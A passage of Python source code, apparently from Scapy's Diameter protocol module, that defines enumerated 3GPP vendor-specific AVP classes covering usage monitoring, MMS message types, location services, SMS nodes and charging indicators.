'Usage-Monitoring-Level' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SESSION_LEVEL", 1: "PCC_RULE_LEVEL", 2: "ADC_RULE_LEVEL", })] # noqa: E501 class AVP_10415_1069 (AVP_FL_V): name = 'Usage-Monitoring-Report' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_REPORT_REQUIRED", })] # noqa: E501 class AVP_10415_1070 (AVP_FL_V): name = 'Usage-Monitoring-Support' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_DISABLED", })] class AVP_10415_1071 (AVP_FL_V): name = 'CSG-Information-Reporting' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "CHANGE_CSG_CELL", 1: "CHANGE_CSG_SUBSCRIBED_HYBRID_CELL", 2: "CHANGE_CSG_UNSUBSCRIBED_HYBRID_CELL", })] class AVP_10415_1072 (AVP_FL_V): name = 'Packet-Filter-Usage' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {1: "SEND_TO_UE", })] class AVP_10415_1073 (AVP_FL_V): name = 'Charging-Correlation-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CHARGING_IDENTIFIER_REQUIRED", })] # noqa: E501 class AVP_10415_1080 (AVP_FL_V): name = 'Flow-Direction' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UNSPECIFIED", 1: "DOWNLINK", 2: "UPLINK", 3: "BIDIRECTIONAL", })] # noqa: E501 class AVP_10415_1086 (AVP_FL_V): name = 'Redirect-Support' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "REDIRECTION_DISABLED", 1: "REDIRECTION_ENABLED", })] # noqa: E501 class AVP_10415_1099 (AVP_FL_V): name = 'PS-to-CS-Session-Continuity' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "VIDEO_PS2CS_CONT_CANDIDATE", })] class AVP_10415_1204 (AVP_FL_V): name = 'Type-Number' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TBC", })] class AVP_10415_1208 (AVP_FL_V): name = 'Addressee-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TO ", 1: "CC ", 2: "BCC", })] class AVP_10415_1209 (AVP_FL_V): name = 'Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Low", 1: "Normal", 2: "High", })] class AVP_10415_1211 (AVP_FL_V): name = 'Message-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "m-send-req", 2: "m-send-conf", 3: "m-notification-ind ", 4: "m-notifyresp-ind ", 5: "m-retrieve-conf ", 6: "m-acknowledge-ind ", 7: "m-delivery-ind ", 8: "m-read-rec-ind ", 9: "m-read-orig-ind", 10: "m-forward-req ", 11: "m-forward-conf ", 12: "m-mbox-store-conf", 13: "m-mbox-view-conf ", 14: "m-mbox-upload-conf ", 15: "m-mbox-delete-conf ", })] class AVP_10415_1214 (AVP_FL_V): name = 'Class-Identifier' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Personal", 1: "Advertisement", 2: "Informational", 3: "Auto", })] # noqa: E501 class AVP_10415_1216 (AVP_FL_V): name = 'Delivery-Report-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1217 (AVP_FL_V): name = 'Adaptations' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Yes", 1: "No", })] class AVP_10415_1220 (AVP_FL_V): name = 'Content-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "text ", 1: "image-basic ", 2: "image-rich ", 3: "video-basic", 4: "video-rich ", 5: "megapixel ", 6: "content-basic ", 7: "content-rich ", })] class AVP_10415_1221 (AVP_FL_V): name = 'DRM-Content' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1222 (AVP_FL_V): name = 'Read-Reply-Report-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1224 (AVP_FL_V): name = 'File-Repair-Supported' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Forwarding not pending", 1: "Forwarding pending", 2: "NOT_SUPPORTED", })] # noqa: E501 class AVP_10415_1225 (AVP_FL_V): name = 'MBMS-User-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {1: "DOWNLOAD", 2: "STREAMING", })] class AVP_10415_1247 (AVP_FL_V): name = 'PDP-Context-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Primary", 1: "Secondary", })] class AVP_10415_1248 (AVP_FL_V): name = 'MMBox-Storage-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] class AVP_10415_1254 (AVP_FL_V): name = 'PoC-User-Role-info-Units' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 1: "Moderator", 2: "Dispatcher", 3: "Session-Owner", 4: "Session-Participant", })] # noqa: E501 class AVP_10415_1259 (AVP_FL_V): name = 'Participant-Access-Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "Preemptive priority: ", 2: "High priority: Lower than Preemptive priority", 3: "Normal priority: Normal level. Lower than High priority", 4: "Low priority: Lowest level priority", })] class AVP_10415_1261 (AVP_FL_V): name = 'PoC-Change-Condition' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ServiceChange", 1: "VolumeLimit", 2: "TimeLimit", 3: "NumberofTalkBurstLimit", 4: "NumberofActiveParticipants", })] class AVP_10415_1268 (AVP_FL_V): name = 'Envelope-Reporting' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "DO_NOT_REPORT_ENVELOPES", 1: "REPORT_ENVELOPES", 2: "REPORT_ENVELOPES_WITH_VOLUME", 3: "REPORT_ENVELOPES_WITH_EVENTS", 4: "REPORT_ENVELOPES_WITH_VOLUME_AND_EVENTS", })] class AVP_10415_1271 (AVP_FL_V): name = 'Time-Quota-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISCRETE_TIME_PERIOD", 1: "CONTINUOUS_TIME_PERIOD", })] # noqa: E501 class AVP_10415_1277 (AVP_FL_V): name = 'PoC-Session-Initiation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Pre-established", 1: "On-demand", })] # noqa: E501 class AVP_10415_1279 (AVP_FL_V): name = 'User-Participating-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Normal", 1: "NW PoC Box", 2: "UE PoC Box", })] class AVP_10415_1417 (AVP_FL_V): name = 'Network-Access-Mode' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PACKET_AND_CIRCUIT", 1: "Reserved", 2: "ONLY_PACKET", })] # noqa: E501 class AVP_10415_1420 (AVP_FL_V): name = 'Cancellation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "MME_UPDATE_PROCEDURE", 1: "SGSN_UPDATE_PROCEDURE", 2: "SUBSCRIPTION_WITHDRAWAL", 3: "UPDATE_PROCEDURE_IWF", 4: "INITIAL_ATTACH_PROCEDURE", })] class AVP_10415_1424 (AVP_FL_V): name = 'Subscriber-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SERVICE_GRANTED", 1: "OPERATOR_DETERMINED_BARRING", })] # noqa: E501 class AVP_10415_1428 (AVP_FL_V): name = 'All-APN-Configurations-Included-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ALL_APN_CONFIGURATIONS_INCLUDED", })] # noqa: E501 class AVP_10415_1432 (AVP_FL_V): name = 'VPLMN-Dynamic-Address-Allowed' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOTALLOWED", 1: "ALLOWED", })] class AVP_10415_1434 (AVP_FL_V): name = 'Alert-Reason' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE_PRESENT", 1: "UE_MEMORY_AVAILABLE", })] # noqa: E501 class AVP_10415_1438 (AVP_FL_V): name = 'PDN-GW-Allocation-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "STATIC", 1: "DYNAMIC", })] class AVP_10415_1445 (AVP_FL_V): name = 'Equipment-Status' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WHITELISTED", 1: "BLACKLISTED", 2: "GREYLISTED", })] # noqa: E501 class AVP_10415_1456 (AVP_FL_V): name = 'PDN-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "IPv4_OR_IPv6", })] # noqa: E501 class AVP_10415_1457 (AVP_FL_V): name = 'Roaming-Restricted-Due-To-Unsupported-Feature' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Roaming-Restricted-Due-To-Unsupported-Feature", })] # noqa: E501 class AVP_10415_1462 (AVP_FL_V): name = 'Trace-Depth' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Minimum", 1: "Medium", 2: "Maximum", 3: "MinimumWithoutVendorSpecificExtension", 4: "MediumWithoutVendorSpecificExtension", 5: "MaximumWithoutVendorSpecificExtension", })] class AVP_10415_1468 (AVP_FL_V): name = 'Complete-Data-List-Included-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ALL_PDP_CONTEXTS_INCLUDED", })] class AVP_10415_1478 (AVP_FL_V): name = 'Notification-To-UE-User' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "NOTIFY_LOCATION_ALLOWED", 1: "NOTIFYANDVERIFY_LOCATION_ALLOWED_IF_NO_RESPONSE", 2: "NOTIFYANDVERIFY_LOCATION_NOT_ALLOWED_IF_NO_RESPONSE", 3: "LOCATION_NOT_ALLOWED", })] class AVP_10415_1481 (AVP_FL_V): name = 'GMLC-Restriction' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "GMLC_LIST", 1: "HOME_COUNTRY", })] # noqa: E501 class AVP_10415_1482 (AVP_FL_V): name = 'PLMN-Client' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "BROADCAST_SERVICE", 1: "O_AND_M_HPLMN", 2: "O_AND_M_VPLMN", 3: "ANONYMOUS_LOCATION", 4: "TARGET_UE_SUBSCRIBED_SERVICE", })] class AVP_10415_1491 (AVP_FL_V): name = 'ICS-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "FALSE", 1: "TRUE", })] class AVP_10415_1492 (AVP_FL_V): name = 'IMS-Voice-Over-PS-Sessions-Supported' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_1493 (AVP_FL_V): name = 'Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_1499 (AVP_FL_V): name = 'User-State' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DETACHED", 1: "ATTACHED_NOT_REACHABLE_FOR_PAGING", 2: "ATTACHED_REACHABLE_FOR_PAGING", 3: "CONNECTED_NOT_REACHABLE_FOR_PAGING", 4: "CONNECTED_REACHABLE_FOR_PAGING", 5: "NETWORK_DETERMINED_NOT_REACHABLE", })] class AVP_10415_1501 (AVP_FL_V): name = 'Non-3GPP-IP-Access' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NON_3GPP_SUBSCRIPTION_ALLOWED", 1: "NON_3GPP_SUBSCRIPTION_BARRED", })] # noqa: E501 class AVP_10415_1502 (AVP_FL_V): name = 'Non-3GPP-IP-Access-APN' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NON_3GPP_APNS_ENABLE", 1: "NON_3GPP_APNS_DISABLE", })] # noqa: E501 class AVP_10415_1503 (AVP_FL_V): name = 'AN-Trusted' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TRUSTED", 1: "UNTRUSTED", })] class AVP_10415_1515 (AVP_FL_V): name = 'Trust-Relationship-Update' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "TBC", })] class AVP_10415_1519 (AVP_FL_V): name = 'Transport-Access-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "BBF", })] class AVP_10415_1610 (AVP_FL_V): name = 'Current-Location-Retrieved' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ACTIVE-LOCATION-RETRIEVAL", })] class AVP_10415_1613 (AVP_FL_V): name = 'SIPTO-Permission' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SIPTO_ALLOWED", 1: "SIPTO_NOTALLOWED", })] # noqa: E501 class AVP_10415_1614 (AVP_FL_V): name = 'Error-Diagnostic' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "GPRS_DATA_SUBSCRIBED", 1: "NO_GPRS_DATA_SUBSCRIBED", 2: "ODB-ALL-APN", 3: "ODB-HPLMN-APN", 4: "ODB-VPLMN-APN", })] class AVP_10415_1615 (AVP_FL_V): name = 'UE-SRVCC-Capability' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE-SRVCC-NOT-SUPPORTED", 1: "UE-SRVCC-SUPPORTED", })] # noqa: E501 class AVP_10415_1617 (AVP_FL_V): name = 'VPLMN-LIPA-Allowed' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "LIPA-NOTALLOWED", 1: "LIPA-ALLOWED", })] # noqa: E501 class AVP_10415_1618 (AVP_FL_V): name = 'LIPA-Permission' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LIPA-PROHIBITED", 1: "LIPA-ONLY", 2: "LIPA-CONDITIONAL", })] # noqa: E501 class AVP_10415_1623 (AVP_FL_V): name = 'Job-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Immediate-MDT-only", 1: "Logged-MDT-only", 2: "Trace-only", 3: "Immediate-MDT-and-Trace", 4: "RLF-reports-only", })] class AVP_10415_1627 (AVP_FL_V): name = 'Report-Interval' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "UMTS_250_ms", 1: "UMTS_500_ms", 2: "UMTS_1000_ms", 3: "UMTS_2000_ms", 4: "UMTS_3000_ms", 5: "UMTS_4000_ms", 6: "UMTS_6000_ms", 7: "UMTS_8000_ms", 8: "UMTS_12000_ms", 9: "UMTS_16000_ms", 10: "UMTS_20000_ms", 11: "UMTS_24000_ms", 12: "UMTS_28000_ms", 13: "UMTS_32000_ms", 14: "UMTS_64000_ms", 15: "LTE_120_ms", 16: "LTE_240_ms", 17: "LTE_480_ms", 18: "LTE_640_ms", 19: "LTE_1024_ms", 20: "LTE_2048_ms", 21: "LTE_5120_ms", 22: "LTE_10240_ms", 23: "LTE_60000_ms", 24: "LTE_360000_ms", 25: "LTE_720000_ms", 26: "LTE_1800000_ms", 27: "LTE_3600000_ms", })] class AVP_10415_1628 (AVP_FL_V): name = 'Report-Amount' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "1", 1: "2", 2: "4", 3: "8", 4: "16", 5: "32", 6: "64", 7: "infinity", })] # noqa: E501 class AVP_10415_1631 (AVP_FL_V): name = 'Logging-Interval' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "1.28", 1: "2.56", 2: "5.12", 3: "10.24", 4: "20.48", 5: "30.72", 6: "40.96", 7: "61.44", })] class AVP_10415_1632 (AVP_FL_V): name = 'Logging-Duration' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "600_sec", 1: "1200_sec", 2: "2400_sec", 3: "3600_sec", 4: "5400_sec", 5: "7200_sec", })] # noqa: E501 class AVP_10415_1633 (AVP_FL_V): name = 'Relay-Node-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_RELAY_NODE", 1: "RELAY_NODE", })] # noqa: E501 class AVP_10415_1634 (AVP_FL_V): name = 'MDT-User-Consent' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "CONSENT_NOT_GIVEN", 1: "CONSENT_GIVEN", })] # noqa: E501 class AVP_10415_1636 (AVP_FL_V): name = 'Subscribed-VSRVCC' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "VSRVCC_SUBSCRIBED", })] class AVP_10415_1648 (AVP_FL_V): name = 'SMS-Register-Request' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SMS_REGISTRATION_REQUIRED", 1: "SMS_REGISTRATION_NOT_PREFERRED", 2: "NO_PREFERENCE", })] # noqa: E501 class AVP_10415_1650 (AVP_FL_V): name = 'Daylight-Saving-Time' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NO_ADJUSTMENT", 1: "PLUS_ONE_HOUR_ADJUSTMENT", 2: "PLUS_TWO_HOURS_ADJUSTMENT", })] # noqa: E501 class AVP_10415_2006 (AVP_FL_V): name = 'Interface-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Unknown", 1: "MOBILE_ORIGINATING", 2: "MOBILE_TERMINATING", 3: "APPLICATION_ORIGINATING", 4: "APPLICATION_TERMINATION", })] class AVP_10415_2007 (AVP_FL_V): name = 'SM-Message-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "SUBMISSION", })] class AVP_10415_2011 (AVP_FL_V): name = 'Reply-Path-Requested' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "No Reply Path Set", 1: "Reply path Set", })] # noqa: E501 class AVP_10415_2016 (AVP_FL_V): name = 'SMS-Node' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SMS Router", 1: "IP-SM-GW", 2: "SMS Router and IP-SM-GW", 3: "SMS-SC", })] # noqa: E501 class AVP_10415_2025 (AVP_FL_V): name = 'PoC-Event-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Normal;", 1: "Instant Ppersonal Aalert event;", 2: "PoC Group Advertisement event;", 3: "Early Ssession Setting-up event;", 4: "PoC Talk Burst", })] class AVP_10415_2029 (AVP_FL_V): name = 'SM-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "VAS4SMS Short Message content processing", 1: "VAS4SMS Short Message forwarding", 2: "VAS4SMS Short Message Forwarding multiple subscriptions ", 3: "VAS4SMS Short Message filtering ", 4: "VAS4SMS Short Message receipt", 5: "VAS4SMS Short Message Network Storage ", 6: "VAS4SMS Short Message to multiple destinations", 7: "VAS4SMS Short Message Virtual Private Network (VPN)", 8: "VAS4SMS Short Message Auto Reply", 9: "VAS4SMS Short Message Personal Signature", 10: "VAS4SMS Short Message Deferred Delivery ", })] class AVP_10415_2033 (AVP_FL_V): name = 'Subscriber-Role' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Originating", 1: "Terminating", })] # noqa: E501 class AVP_10415_2036 (AVP_FL_V): name = 'SDP-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "SDP Offer", 1: "SDP Answer", })] class AVP_10415_2047 (AVP_FL_V): name = 'Serving-Node-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SGSN", 1: "PMIPSGW", 2: "GTPSGW", 3: "ePDG", 4: "hSGW", 5: "MME", 6: "TWAN", })] # noqa: E501 class AVP_10415_2049 (AVP_FL_V): name = 'Participant-Action-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "CREATE_CONF", 1: "JOIN_CONF", 2: "INVITE_INTO_CONF", 3: "QUIT_CONF", })] # noqa: E501 class AVP_10415_2051 (AVP_FL_V): name = 'Dynamic-Address-Flag' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] class AVP_10415_2065 (AVP_FL_V): name = 'SGW-Change' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ACR_Start_NOT_due_to_SGW_Change", })] # noqa: E501 class AVP_10415_2066 (AVP_FL_V): name = 'Charging-Characteristics-Selection-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Serving-Node-Supplied", 1: "Subscription-specific", 2: "APN-specific", 3: "Home-Default", 4: "Roaming-Default", 5: "Visiting-Default", })] class AVP_10415_2068 (AVP_FL_V): name = 'Dynamic-Address-Flag-Extension' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] class AVP_10415_2118 (AVP_FL_V): name = 'Charge-Reason-Code' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "UNKNOWN", 1: "USAGE", 2: "COMMUNICATION-ATTEMPT-CHARGE", 3: "SETUP-CHARGE", 4: "ADD-ON-CHARGE", })] class AVP_10415_2203 (AVP_FL_V): name = 'Subsession-Operation' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 class AVP_10415_2204 (AVP_FL_V): name = 'Multiple-BBERF-Action' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ESTABLISHMENT", 1: "TERMINATION", })] # noqa: E501 class AVP_10415_2206 (AVP_FL_V): name = 'DRA-Deployment' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "DRA_Deployed", })] class AVP_10415_2208 (AVP_FL_V): name = 'DRA-Binding' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "DRA_BINDING_DELETION", })] class AVP_10415_2303 (AVP_FL_V): name = 'Online-Charging-Flag' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ECF address not provided", 1: "ECF address provided", })] # noqa: E501 class AVP_10415_2308 (AVP_FL_V): name = 'IMSI-Unauthenticated-Flag' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Authenticated", 1: "Unauthenticated", })] # noqa: E501 class AVP_10415_2310 (AVP_FL_V): name = 'AoC-Format' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "MONETARY", 1: "NON_MONETARY", 2: "CAI", })] # noqa: E501 class AVP_10415_2312 (AVP_FL_V): name = 'AoC-Service-Obligatory-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NON_BINDING", 1: "BINDING", })] class AVP_10415_2313 (AVP_FL_V): name = 'AoC-Service-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NONE", 1: "AOC-S", 2: "AOC-D", 3: "AOC-E", })] # noqa: E501 class AVP_10415_2317 (AVP_FL_V): name = 'CSG-Access-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Closed mode", 1: "Hybrid Mode", })] # noqa: E501 class AVP_10415_2318 (AVP_FL_V): name = 'CSG-Membership-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Not CSG member", 1: "CSG Member ", })] # noqa: E501 class AVP_10415_2322 (AVP_FL_V): name = 'IMS-Emergency-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Non Emergency", 1: "Emergency", })] # noqa: E501 class AVP_10415_2323 (AVP_FL_V): name = 'MBMS-Charged-Party' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Content Provider", 1: "Subscriber", })] # noqa: E501 class AVP_10415_2500 (AVP_FL_V): name = 'SLg-Location-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "CURRENT_LOCATION", 1: "CURRENT_OR_LAST_KNOWN_LOCATION", 2: "INITIAL_LOCATION", 3: "ACTIVATE_DEFERRED_LOCATION", 4: "CANCEL_DEFERRED_LOCATION", 5: "NOTIFICATION_VERIFICATION_ONLY", })] class AVP_10415_2507 (AVP_FL_V): name = 'Vertical-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "VERTICAL_COORDINATE_IS_NOT REQUESTED", 1: "VERTICAL_COORDINATE_IS_REQUESTED", })] # noqa: E501 class AVP_10415_2508 (AVP_FL_V): name = 'Velocity-Requested' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "VELOCITY_IS_NOT_REQUESTED", 1: "BEST VELOCITY_IS_REQUESTED", })] # noqa: E501 class AVP_10415_2509 (AVP_FL_V): name = 'Response-Time' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "LOW_DELAY", 1: "DELAY_TOLERANT", })] # noqa: E501 class AVP_10415_2512 (AVP_FL_V): name = 'LCS-Privacy-Check' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ALLOWED_WITHOUT_NOTIFICATION", 1: "ALLOWED_WITH_NOTIFICATION", 2: "ALLOWED_IF_NO_RESPONSE", 3: "RESTRICTED_IF_NO_RESPONSE", 4: "NOT_ALLOWED", })] class AVP_10415_2513 (AVP_FL_V): name = 'Accuracy-Fulfilment-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "REQUESTED_ACCURACY_FULFILLED", 1: "REQUESTED_ACCURACY_NOT_FULFILLED", })] # noqa: E501 class AVP_10415_2518 (AVP_FL_V): name = 'Location-Event' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "EMERGENCY_CALL_ORIGINATION", 1: "EMERGENCY_CALL_RELEASE", 2: "MO_LR", 3: "EMERGENCY_CALL_HANDOVER", })] class AVP_10415_2519 (AVP_FL_V): name = 'Pseudonym-Indicator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PSEUDONYM_NOT_REQUESTED", 1: "PSEUDONYM_REQUESTED", })] # noqa: E501 class AVP_10415_2523 (AVP_FL_V): name = 'LCS-QoS-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ASSURED", 1: "BEST EFFORT", })] class AVP_10415_2538 (AVP_FL_V): name = 'Occurrence-Info' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_EVENT", 1: "MULTIPLE_TIME_EVENT", })] # noqa: E501 class AVP_10415_2550 (AVP_FL_V): name = 'Periodic-Location-Support-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_2551 (AVP_FL_V): name = 'Prioritized-List-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_PRIORITIZED", 1: "PRIORITIZED", })] # noqa: E501 class AVP_10415_2602 (AVP_FL_V): name = 'Low-Priority-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO", })] class AVP_10415_2604 (AVP_FL_V): name = 'Local-GW-Inserted-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Local GW Not Inserted", 1: "Local GW Inserted", })] class AVP_10415_2605 (AVP_FL_V): name = 'Transcoder-Inserted-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Transcoder Not Inserted", 1: "Transcoder Inserted", })] class AVP_10415_2702 (AVP_FL_V): name = 'AS-Code' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "4xx;", 1: "5xx;", 2: "Timeout", })] class AVP_10415_2704 (AVP_FL_V): name = 'NNI-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "non-roaming", 1: "roaming without loopback", 2: "roaming with loopback", })] # noqa: E501 class AVP_10415_2706 (AVP_FL_V): name = 'Relationship-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "trusted", 1: "non-trusted", })] class AVP_10415_2707 (AVP_FL_V): name = 'Session-Direction' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "inbound", })] class AVP_10415_2710 (AVP_FL_V): name = 'Access-Transfer-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PS to CS Transfer", 1: "CS to PS Transfer", })] # noqa: E501 class AVP_10415_2717 (AVP_FL_V): name = 'TAD-Identifier' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CS", 1: "PS", })] class AVP_10415_2809 (AVP_FL_V): name = 'Mute-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "MUTE_REQUIRED", })] class AVP_10415_2811 (AVP_FL_V): name = 'AN-GW-Status' avpLen = 16 fields_desc = [ AVP_FL_V, 